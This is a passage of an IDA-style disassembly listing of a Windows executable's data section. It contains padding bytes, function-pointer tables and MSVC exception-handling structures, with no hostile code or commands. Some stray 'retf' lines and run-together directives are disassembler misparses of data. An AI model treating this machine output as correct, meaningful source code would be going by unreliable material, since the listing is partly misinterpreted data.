		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ',0
		align 4
		dd 31Bh	dup(0)
off_43F000	dd offset sub_4017D0	; DATA XREF: sub_403720+3FEo
off_43F004	dd offset byte_437AC0	; DATA XREF: sub_403CC0+2o
off_43F008	dd offset off_402027	; DATA XREF: sub_406BF0+2o sub_406C50o
off_43F00C	dd offset sub_40221B	; DATA XREF: ___:004070C5o
off_43F010	dd offset loc_40218F	; DATA XREF: sub_409BC0+4o
					; sub_409C20+Bo ...
off_43F014	dd offset loc_402045	; DATA XREF: sub_40AEA0+2o
					; sub_40AEF0+1Co
		dd offset byte_437AC0
		align 10h
off_43F020	dd offset loc_401AE1	; DATA XREF: ___:0040B1F8o
					; sub_40B250+1Eo
flt_43F024	dd 1.0			; DATA XREF: ___:0040B8A6r
off_43F028	dd offset sub_401A4B	; DATA XREF: sub_40F6D0+157o
					; sub_40FE70+1Do
		dd offset sub_402149
		dd 0
off_43F034	dd offset sub_401ACD	; DATA XREF: sub_40F6D0+142o
					; sub_40FE70+23o
off_43F038	dd offset loc_40115E	; DATA XREF: sub_411930+36o
					; sub_4119E0+1Do
		dd offset loc_402004
		dd 0
off_43F044	dd offset sub_4014C9	; DATA XREF: ___:0041325Do
					; sub_4132F0+1Fo
		dd offset sub_401D0C
		align 10h
off_43F050	dd offset sub_4019CE	; DATA XREF: sub_416D00+6o
					; sub_417EF0+8o
		dd offset sub_4020C7
		dd 0
off_43F05C	dd offset loc_401CAD	; DATA XREF: sub_416D60+6o
					; sub_417F20+8o
		dd offset sub_401230
		align 8
off_43F068	dd offset loc_401929	; DATA XREF: sub_416DC0o sub_41FCD0+8o
		dd offset sub_401CF3
		dd 0
off_43F074	dd offset sub_40111D	; DATA XREF: sub_416E10o
					; sub_4191B0+36o
off_43F078	dd offset loc_4014AB	; DATA XREF: sub_417CC0+68o
off_43F07C	dd offset sub_401064	; DATA XREF: sub_417D60+8Bo
off_43F080	dd offset sub_40138E	; DATA XREF: sub_417E30+74o
off_43F084	dd offset loc_401B81	; DATA XREF: sub_417F50+7Bo
off_43F088	dd offset loc_40204A	; DATA XREF: sub_418010+7Bo
off_43F08C	dd offset loc_401F3C	; DATA XREF: sub_4180D0+3Eo
off_43F090	dd offset sub_401FE1	; DATA XREF: sub_418150+8o
off_43F094	dd offset loc_401FF5	; DATA XREF: sub_418180+3Eo
off_43F098	dd offset sub_401E6A	; DATA XREF: sub_418200+3Eo
off_43F09C	dd offset loc_40100A	; DATA XREF: sub_418280+10o
off_43F0A0	dd offset loc_4010B4	; DATA XREF: sub_4182B0+4Bo
off_43F0A4	dd offset sub_401BB8	; DATA XREF: sub_418330+10o
off_43F0A8	dd offset sub_40171C	; DATA XREF: sub_418360+10o
off_43F0AC	dd offset sub_40161D	; DATA XREF: sub_418390+6Bo
dbl_43F0B0	dq -3.0517578125e-5	; DATA XREF: sub_4199C0+22r
		dd 0
off_43F0BC	dd offset sub_401B09	; DATA XREF: sub_41A110+Bo
					; sub_41A210+6o
off_43F0C0	dd offset sub_401E92	; DATA XREF: sub_41B0E0+Do sub_41B140o
off_43F0C4	dd offset sub_401406	; DATA XREF: ___:0041B4A2o
					; ___:0041B58Do
		dd offset sub_401686
		align 10h
off_43F0D0	dd offset loc_4019F6	; DATA XREF: sub_41D770+77o
					; sub_41D860+1Do
		dd offset sub_401C94
		dd 0
off_43F0DC	dd offset sub_4011FE	; DATA XREF: sub_427740+32o
		dd offset sub_401A78
		dd offset sub_401A50
		dd 0
off_43F0EC	dd offset loc_4016DB	; DATA XREF: sub_4277B0+6Ao
					; sub_427850+1Do
		dd offset sub_401A78
		dd offset byte_437AC0
		dd 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS	KEYPAD "+" TO EXPAND]
		db 1Ah,	40h, 0
		dd offset sub_401A78
		dd offset sub_401366
		dd 0
off_43F10C	dd offset sub_40182A	; DATA XREF: sub_4281A0+32o
		dd offset sub_401A78
		dd offset sub_401EB0
		dd 0
off_43F11C	dd offset sub_40224D	; DATA XREF: sub_428880+32o
		dd offset sub_401A78
		dd offset sub_401A14
		dd 0
off_43F12C	dd offset sub_401C3F	; DATA XREF: sub_4290B0+32o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset sub_4015B9
		dd 0
off_43F13C	dd offset loc_402086	; DATA XREF: sub_429120+7Ao
					; sub_4291E0+1Do
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset byte_437AC0
		dd 0
off_43F14C	dd offset sub_4021D5	; DATA XREF: sub_429450+4Bo
					; sub_429540+10o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset loc_401D3E
		dd 0
off_43F15C	dd offset loc_40112C	; DATA XREF: sub_42ACB0+32o
					; sub_42AD50+9o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset sub_40137A
		dd 0
off_43F16C	dd offset loc_401B18	; DATA XREF: sub_42AFF0+32o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset sub_4010AF
		dd 0
off_43F17C	dd offset sub_4017B2	; DATA XREF: sub_42B380+32o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset sub_40189D
		dd 0
off_43F18C	dd offset sub_4020EF	; DATA XREF: sub_42C4C0+27o
dword_43F190	dd 0				dd 8, 0
off_43F19C	dd offset byte_437AC0	; DATA XREF: sub_42C530+39o
off_43F1A0	dd offset sub_401F5F	; DATA XREF: ___:0042C602o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset loc_40134D
		align 10h
off_43F1B0	dd offset sub_401B36	; DATA XREF: sub_42C770+32o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset sub_401537
		align 10h
		dd offset loc_4015FA
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset sub_4019F1
		align 10h
		dd offset dword_43F348
off_43F1D4	dd offset loc_437B01	; DATA XREF: ___:00437AF8o
					; ___:off_444898o ...
		dd 0FFFFFFFFh, 437E9Ch,	437EB0h, 4Dh dup(0)
off_43F318	dd offset off_448C90	; DATA XREF: ___:0043F330o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_43F318
		dd 0
		db    0			; DATA XREF: ___:0043F358o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 43F330h
dword_43F348	dd 3 dup(0)			dd offset off_448C90
		dd offset unk_43F338
		dd 45h dup(0)
dword_43F470	dd 19930520h, 5, 43F490h, 5 dup(0)		dd 0FFFFFFFFh, 438E1Ch,	0
		dd offset dword_4382CC+0B24h
		dd 1, 438DFBh, 2, 438E06h, 3, 438E11h, 2 dup(0)
dword_43F4C0	dd 19930520h, 3Dh, 43F4E0h, 5 dup(0)		dd 0FFFFFFFFh, 438E60h,	0
		dd offset loc_438E6B
		dd 1, 438E76h, 2, 438E84h, 3, 438E92h, 4, 438EA0h, 5, 438EAEh
		dd 6, 438EBCh, 7, 438ECAh, 8, 438ED8h, 9, 438EE6h, 0Ah
		dd 438EF4h, 0Bh, 438F02h, 0Ch, 438F10h,	0Dh, 438F1Eh, 0Eh
		dd 438F2Ch, 0Fh, 438F3Ah, 10h, 438F48h,	11h, 438F56h, 12h
		dd 438F64h, 13h, 438F72h, 14h, 438F80h,	15h, 438F8Eh, 16h
		dd 438F9Ch, 17h, 438FAAh, 18h, 438FB8h,	19h, 438FC6h, 1Ah
		dd 438FD4h, 1Bh, 438FE2h, 1Ch, 438FF0h,	1Dh, 438FFEh, 1Eh
		dd 43900Ch, 1Fh, 43901Ah, 20h, 439028h,	21h, 439036h, 22h
		dd 439044h, 23h, 439052h, 24h, 439060h,	25h, 43906Eh, 26h
		dd 43907Ch, 27h, 43908Ah, 28h, 439098h,	29h, 4390A6h, 2Ah
		dd 4390B4h, 2Bh, 4390C2h, 2Ch, 4390D0h,	2Dh, 4390DEh, 2Eh
		dd 4390ECh, 2Fh, 4390FAh, 30h, 439108h,	31h, 439116h, 32h
		dd 439124h, 33h, 439132h, 34h, 439140h,	35h, 43914Eh, 36h
		dd 43915Ch, 37h, 43916Ah, 38h, 439178h,	39h, 439186h, 3Ah
		dd 439194h, 3Bh, 4391A2h, 0Eh dup(0)
dword_43F700	dd 19930520h, 1, 43F720h, 5 dup(0)		dd 0FFFFFFFFh, 439290h,	2 dup(0)
dword_43F730	dd 19930520h, 2, 43F750h, 5 dup(0)		dd 0FFFFFFFFh, 4392B0h,	0
		dd offset loc_4392B8
		dd 2 dup(0)
dword_43F768	dd 19930520h, 2, 43F788h, 5 dup(0)		dd 0FFFFFFFFh, 4392E0h,	0
		dd offset loc_4392E8
		align 10h
dword_43F7A0	dd 19930520h, 1, 43F7C0h, 5 dup(0)		dd 0FFFFFFFFh, 439310h,	2 dup(0)
dword_43F7D0	dd 19930520h, 7, 43F7F0h, 5 dup(0)		dd 0FFFFFFFFh, 439330h,	0
		dd offset loc_439338
		dd 1, 439343h, 2, 439351h, 3, 43935Fh, 4, 43936Dh, 5, 43937Bh
		dd 2 dup(0)
dword_43F830	dd 19930520h, 7, 43F850h, 5 dup(0)		dd 0FFFFFFFFh, 4393B0h,	0
		dd offset loc_4393B8
		dd 1, 4393C3h, 2, 4393D1h, 3, 4393DFh, 4, 4393EDh, 5, 4393FBh
		dd 2 dup(0)
dword_43F890	dd 19930520h, 11h, 43F8B0h, 5 dup(0)		dd 0FFFFFFFFh, 439430h,	0FFFFFFFFh, 439438h, 0FFFFFFFFh
		dd 439440h, 0FFFFFFFFh,	439448h, 0FFFFFFFFh, 439450h, 0FFFFFFFFh
		dd 439458h, 0FFFFFFFFh,	439460h, 0FFFFFFFFh, 439468h, 0FFFFFFFFh
		dd 439470h, 0FFFFFFFFh,	439478h, 0FFFFFFFFh, 439480h, 0FFFFFFFFh
		dd 439488h, 0FFFFFFFFh,	439490h, 0FFFFFFFFh, 439498h, 0FFFFFFFFh
		dd 4394A0h, 0Eh, 4394A8h, 0Eh, 4394B0h,	4 dup(0)
dword_43F948	dd 19930520h, 0Bh, 43F968h, 5 dup(0)		dd 0FFFFFFFFh, 4394F0h,	0
		dd offset loc_4394F8
		dd 0FFFFFFFFh, 439500h,	2, 439508h, 0FFFFFFFFh,	439510h
		dd 0FFFFFFFFh, 439518h,	0FFFFFFFFh, 439520h, 0FFFFFFFFh
		dd 439528h, 7, 439533h,	7, 43953Bh, 9, 439543h,	4 dup(0)
dword_43F9D0	dd 19930520h, 31h, 43F9F0h, 5 dup(0)		dd 0FFFFFFFFh, 439570h,	0
		dd offset loc_43957B
		dd 0
		dd offset loc_439586
		dd 0FFFFFFFFh, 439591h,	0FFFFFFFFh, 43959Ch, 4,	4395A7h
		dd 0FFFFFFFFh, 4395B2h,	6, 4395BDh, 6, 4395C8h,	8, 4395D3h
		dd 0FFFFFFFFh, 4395DEh,	0Ah, 4395E9h, 0Ah, 4395F4h, 0Ah
		dd 4395FFh, 0Ah, 43960Ah, 0Ah, 439615h,	0Ah, 439620h, 0FFFFFFFFh
		dd 43962Bh, 11h, 439636h, 11h, 439641h,	0FFFFFFFFh, 43964Ch
		dd 0FFFFFFFFh, 439657h,	15h, 439662h, 0FFFFFFFFh, 43966Dh
		dd 0FFFFFFFFh, 439678h,	18h, 439683h, 0FFFFFFFFh, 43968Eh
		dd 0FFFFFFFFh, 439699h,	0FFFFFFFFh, 4396A4h, 0FFFFFFFFh
		dd 4396AFh, 1Dh, 4396BAh, 1Dh, 4396C5h,	1Dh, 4396D0h, 1Dh
		dd 4396DBh, 1Dh, 4396E6h, 22h, 4396F1h,	22h, 4396FCh, 22h
		dd 439707h, 22h, 439712h, 22h, 43971Dh,	22h, 439728h, 22h
		dd 439733h, 22h, 43973Eh, 22h, 439749h,	22h, 439754h, 22h
		dd 43975Fh, 22h, 43976Ah, 22h, 439775h,	22h, 439780h, 0Ch dup(0)
dword_43FBA8	dd 19930520h, 2, 43FBC8h, 5 dup(0)		dd 0FFFFFFFFh, 439828h,	0
		dd offset loc_439820
		align 10h
dword_43FBE0	dd 19930520h, 2, 43FC00h, 5 dup(0)		dd 0FFFFFFFFh, 43986Bh,	0
		dd offset loc_439860
		dd 2 dup(0)
dword_43FC18	dd 19930520h, 3, 43FC38h, 5 dup(0)		dd 0FFFFFFFFh, 4398A0h,	0
		dd offset loc_4398AB
		dd 0
		dd offset loc_4398B6
		dd 2 dup(0)
dword_43FC58	dd 19930520h, 1, 43FC78h, 5 dup(0)		dd 0FFFFFFFFh, 4398E0h,	2 dup(0)
dword_43FC88	dd 19930520h, 1, 43FCA8h, 5 dup(0)		dd 0FFFFFFFFh, 439900h,	2 dup(0)
dword_43FCB8	dd 19930520h, 2, 43FCD8h, 5 dup(0)		dd 0FFFFFFFFh, 439920h,	0
		dd offset loc_439928
		align 10h
dword_43FCF0	dd 19930520h, 57h, 43FD10h, 5 dup(0)		dd 0FFFFFFFFh, 439940h,	0
		dd offset loc_43994B
		dd 1, 439956h, 2, 439961h, 3, 43996Ch, 4, 439977h, 5, 439982h
		dd 6, 43998Dh, 7, 439998h, 8, 4399A3h, 9, 4399ABh, 0Ah
		dd 4399B3h, 0Bh, 4399BEh, 0Ch, 4399C6h,	0Dh, 4399CEh, 0Eh
		dd 4399D9h, 0Fh, 4399E4h, 10h, 4399EFh,	11h, 4399FAh, 12h
		dd 439A05h, 13h, 439A10h, 14h, 439A1Bh,	15h, 439A26h, 16h
		dd 439A31h, 17h, 439A3Ch, 18h, 439A47h,	19h, 439A52h, 1Ah
		dd 439A5Dh, 1Bh, 439A68h, 1Ch, 439A73h,	1Dh, 439A7Eh, 1Eh
		dd 439A89h, 1Eh, 439A94h, 1Eh, 439A9Fh,	1Eh, 439AAAh, 1Eh
		dd 439AB5h, 1Eh, 439AC0h, 1Eh, 439ACBh,	1Eh, 439AD6h, 1Eh
		dd 439AE1h, 1Eh, 439AECh, 28h, 439AF7h,	1Eh, 439AF7h, 1Eh
		dd 439B02h, 2Bh, 439B0Dh, 1Eh, 439B0Dh,	1Eh, 439B18h, 2Eh
		dd 439B23h, 1Eh, 439B23h, 1Eh, 439B2Eh,	31h, 439B39h, 1Eh
		dd 439B39h, 1Eh, 439B44h, 34h, 439B4Fh,	1Eh, 439B4Fh, 1Eh
		dd 439B5Ah, 37h, 439B65h, 1Eh, 439B65h,	1Eh, 439B70h, 3Ah
		dd 439B7Bh, 1Eh, 439B7Bh, 1Eh, 439B86h,	3Dh, 439B91h, 1Eh
		dd 439B91h, 1Eh, 439B9Ch, 40h, 439BA7h,	1Eh, 439BA7h, 1Eh
		dd 439BB2h, 43h, 439BBDh, 1Eh, 439BBDh,	1Eh, 439BC8h, 46h
		dd 439BD3h, 1Eh, 439BD3h, 1Eh, 439BDEh,	49h, 439BE9h, 1Eh
		dd 439BE9h, 1Eh, 439BF4h, 4Ch, 439BFFh,	1Eh, 439BFFh, 1Eh
		dd 439C0Ah, 4Fh, 439C15h, 1Eh, 439C15h,	1Eh, 439C20h, 52h
		dd 439C2Bh, 53h, 439C36h, 54h, 439C41h,	55h, 439C4Ch, 13h dup(0)
		dd offset off_444898
		dd 0
		dd 0FFFFFFFFh, 0
		dd 0Ch,	437AF0h, 2 dup(0)
		dd offset off_4448B8
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	437F1Ah, 2 dup(0)
		dd offset off_4448E0
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	437F20h, 0
dword_440070	dd 3, 440050h, 440030h,	440010h, 2 dup(0)dword_440088	dd 0							; ___:0040AA77o
		dd offset dword_437EC4+62h
		dd 0
		dd offset dword_440070
		align 10h
dword_4400A0	dd 19930520h, 1, 4400C0h, 5 dup(0)		dd 0FFFFFFFFh, 439D30h,	2 dup(0)
dword_4400D0	dd 19930520h, 1, 4400F0h, 5 dup(0)		dd 0FFFFFFFFh, 439D50h,	2 dup(0)
dword_440100	dd 19930520h, 3, 440120h, 5 dup(0)		dd 0FFFFFFFFh, 439D70h,	0
		dd offset loc_439D87
		dd 1, 439D8Fh, 2 dup(0)
dword_440140	dd 19930520h, 1, 440160h, 5 dup(0)		dd 0FFFFFFFFh, 439DB0h,	2 dup(0)
dword_440170	dd 19930520h, 2, 440190h, 1, 4401A0h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 4401B8h, 4	dup(0)
		dd offset sub_40AF32
		align 10h
dword_4401D0	dd 19930520h, 2, 4401F0h, 1, 440200h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 440218h, 4	dup(0)
		dd offset sub_40B0B1
		align 10h
dword_440230	dd 19930520h, 4, 440250h, 5 dup(0)		dd 0FFFFFFFFh, 439DF0h,	0
		dd offset loc_439DFB
		dd 1, 439E06h, 2, 439E11h, 2 dup(0)
dword_440278	dd 19930520h, 4, 440298h, 5 dup(0)		dd 0FFFFFFFFh, 439E40h,	0
		dd offset loc_439E4B
		dd 1, 439E56h, 2, 439E61h, 2 dup(0)
dword_4402C0	dd 19930520h, 3, 4402E0h, 5 dup(0)		dd 0FFFFFFFFh, 439E90h,	0FFFFFFFFh, 439E98h, 0FFFFFFFFh
		dd 439EA0h, 2 dup(0)
dword_440300	dd 19930520h, 3, 440320h, 5 dup(0)		dd 0FFFFFFFFh, 439EC0h,	0
		dd offset loc_439EC8
		dd 1, 439ED0h, 2 dup(0)
dword_440340	dd 19930520h, 1, 440360h, 5 dup(0)		dd 0FFFFFFFFh, 439EF0h,	2 dup(0)
dword_440370	dd 19930520h, 4, 440390h, 5 dup(0)		dd 0FFFFFFFFh, 439F10h,	0FFFFFFFFh, 439F18h, 0FFFFFFFFh
		dd 439F20h, 2, 439F28h,	2 dup(0)
dword_4403B8	dd 19930520h, 1, 4403D8h, 5 dup(0)		dd 0FFFFFFFFh, 439F50h,	2 dup(0)
dword_4403E8	dd 19930520h, 4, 440408h, 5 dup(0)		dd 0FFFFFFFFh, 439F70h,	0
		dd offset loc_439F7B
		dd 0
		dd offset loc_439F86
		dd 2, 439F91h, 2 dup(0)
dword_440430	dd 19930520h, 1, 440450h, 5 dup(0)		dd 0FFFFFFFFh, 439FC0h,	2 dup(0)
dword_440460	dd 19930520h, 5, 440480h, 5 dup(0)		dd 0FFFFFFFFh, 439FE0h,	0
		dd offset loc_439FEB
		dd 0
		dd offset loc_439FF6
		dd 0
		dd offset loc_43A001
		dd 0
		dd offset loc_43A00C
		align 10h
dword_4404B0	dd 19930520h, 2, 4404D0h, 5 dup(0)		dd 0FFFFFFFFh, 43A040h,	0
		dd offset loc_43A04B
		dd 2 dup(0)
dword_4404E8	dd 19930520h, 2, 440508h, 5 dup(0)		dd 0FFFFFFFFh, 43A070h,	0
		dd offset loc_43A07B
		align 10h
dword_440520	dd 19930520h, 4, 440540h, 5 dup(0)		dd 0FFFFFFFFh, 43A0A0h,	0FFFFFFFFh, 43A0A8h, 0FFFFFFFFh
		dd 43A0B0h, 0FFFFFFFFh,	43A0B8h, 2 dup(0)
dword_440568	dd 19930520h, 8, 440588h, 5 dup(0)		dd 0FFFFFFFFh, 43A0E0h,	0
		dd offset loc_43A0EB
		dd 1, 43A0F6h, 1, 43A101h, 1, 43A10Ch, 1, 43A117h, 1, 43A122h
		dd 1, 43A12Dh, 4 dup(0)
dword_4405D8	dd 19930520h, 0Dh, 4405F8h, 5 dup(0)		dd 0FFFFFFFFh, 43A160h,	0FFFFFFFFh, 43A16Bh, 1,	43A176h
		dd 2, 43A181h, 3, 43A18Ch, 4, 43A197h, 5, 43A1A2h, 6, 43A1ADh
		dd 7, 43A1B8h, 8, 43A1C3h, 9, 43A1CEh, 0Ah, 43A1D9h, 0Bh
		dd 43A1E4h, 4 dup(0)
dword_440670	dd 19930520h, 6, 440690h, 5 dup(0)		dd 0FFFFFFFFh, 43A220h,	0
		dd offset loc_43A228
		dd 1, 43A230h, 2, 43A238h, 2, 43A240h, 2, 43A248h, 2 dup(0)
dword_4406C8	dd 19930520h, 6, 4406E8h, 5 dup(0)		dd 0FFFFFFFFh, 43A270h,	0
		dd offset loc_43A278
		dd 1, 43A280h, 2, 43A288h, 2, 43A290h, 2, 43A298h, 2 dup(0)
dword_440720	dd 19930520h, 3, 440740h, 5 dup(0)		dd 0FFFFFFFFh, 43A2C0h,	0
		dd offset loc_43A2C8
		dd 1, 43A2D0h, 2 dup(0)
